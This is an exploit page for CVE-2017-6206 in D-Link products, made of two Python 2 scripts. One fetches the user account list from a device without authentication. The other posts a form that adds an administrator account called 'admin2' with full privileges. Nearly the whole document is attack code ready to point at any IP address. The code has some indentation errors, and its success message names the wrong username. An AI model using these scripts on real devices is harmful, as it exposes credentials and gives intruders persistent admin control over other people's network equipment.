Multiple D-Link Products Unspecified Information Disclosure Vulnerability（CVE-2017-6206）

                                                ================
get-user-info.py
================
 
import re
import os.path
import urllib2
import base64
import gzip
import zlib
from StringIO import StringIO
from io import BytesIO
 
def make_requests():
    """Calls request functions sequentially."""
    response = [None]
    responseText = None
 
    if(request_ip(response)):
        # Success, possibly use response.
        responseText = read_response(response[0])
                print responseText
        response[0].close()
    else:
        # Failure, cannot use response.
        pass
 
 
def read_response(response):
    """ Returns the text contained in the response.  For example, the page HTML.  Only handles the most common HTTP encodings."""
    if response.info().get('Content-Encoding') == 'gzip':
        buf = StringIO(response.read())
        return gzip.GzipFile(fileobj=buf).read()
 
    elif response.info().get('Content-Encoding') == 'deflate':
        decompress = zlib.decompressobj(-zlib.MAX_WBITS)
        inflated = decompress.decompress(response.read())
        inflated += decompress.flush()
        return inflated
 
    return response.read()
 
 
def request_ip(response):
    """Tries to request the URL. Returns True if the request was successful; false otherwise.
    http://ip_address/DataStore/990_user_account.js?index=0&pagesize=10
     
    response -- After the function has finished, will possibly contain the response to the request.
     
    """
    response[0] = None
 
    try:
        # Create request to URL.
                import sys
                ip = sys.argv[1]
                print ip
        req = urllib2.Request("http://%s/DataStore/990_user_account.js?index=0&pagesize=10"% ip)
 
        # Set request headers.
        req.add_header("Connection", "keep-alive")
        req.add_header("Accept", "text/javascript, application/javascript, application/ecmascript, application/x-ecmascript, */*; q=0.01")
        req.add_header("X-Requested-With", "XMLHttpRequest")
        req.add_header("User-Agent", "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.59 Safari/537.36")
        req.add_header("Referer", "http://%s/www/login.html"% ip)
        req.add_header("Accept-Encoding", "gzip, deflate, sdch")
        req.add_header("Accept-Language", "en-US,en;q=0.8")
        req.add_header("Cookie", "Language=en")
 
        # Get response to request.
        response[0] = urllib2.urlopen(req)
 
    except urllib2.URLError, e:
        # URLError.code existing indicates a valid HTTP response, but with a non-200 status code (e.g. 304 Not Modified, 404 Not Found)
        if not hasattr(e, "code"):
            return False
        response[0] = e
    except:
        return False
 
    return True
 
 
make_requests()
 
===========
user_add.py
===========
 
import re
import os.path
import urllib2
import base64
import gzip
import zlib
from StringIO import StringIO
from io import BytesIO
 
def make_requests():
    """Calls request functions sequentially."""
    response = [None]
    responseText = None
 
    if(request_ip(response)):
        # Success, possibly use response.
        responseText = read_response(response[0])
                print "Username dlinktest is successfully Added"
        response[0].close()
    else:
        # Failure, cannot use response.
                print "locha"
        pass
 
 
def read_response(response):
    """ Returns the text contained in the response.  For example, the page HTML.  Only handles the most common HTTP encodings."""
    if response.info().get('Content-Encoding') == 'gzip':
        buf = StringIO(response.read())
        return gzip.GzipFile(fileobj=buf).read()
 
    elif response.info().get('Content-Encoding') == 'deflate':
        decompress = zlib.decompressobj(-zlib.MAX_WBITS)
        inflated = decompress.decompress(response.read())
        inflated += decompress.flush()
        return inflated
 
    return response.read()
 
 
def request_ip(response):
    """Tries to request the URL. Returns True if the request was successful; false otherwise.
    http://ip_address/form/User_Accounts_Apply
     
    response -- After the function has finished, will possibly contain the response to the request.
     
    """
    response[0] = None
 
    try:
        # Create request to URL.
                import sys
                ip = sys.argv[1]
        req = urllib2.Request("http://%s/form/User_Accounts_Apply"% ip)
 
        # Set request headers.
        req.add_header("Connection", "keep-alive")
        req.add_header("Cache-Control", "max-age=0")
        req.add_header("Origin", "http://%s/"% ip)
        req.add_header("Upgrade-Insecure-Requests", "1")
        req.add_header("User-Agent", "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.51 Safari/537.36")
        req.add_header("Content-Type", "application/x-www-form-urlencoded")
        req.add_header("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8")
        req.add_header("Referer", "http://%s/www/login.html"% ip)
        req.add_header("Accept-Encoding", "gzip, deflate")
        req.add_header("Accept-Language", "en-US,en;q=0.8")
 
        # Set request body.
        body = "action=0&username=admin2&privilege=15&type=0&password=admin2"
 
        # Get response to request.
        response[0] = urllib2.urlopen(req, body)
 
    except urllib2.URLError, e:
        # URLError.code existing indicates a valid HTTP response, but with a non-200 status code (e.g. 304 Not Modified, 404 Not Found)
        if not hasattr(e, "code"):
            return False
        response[0] = e
    except:
        return False
 
    return True
 
 
make_requests()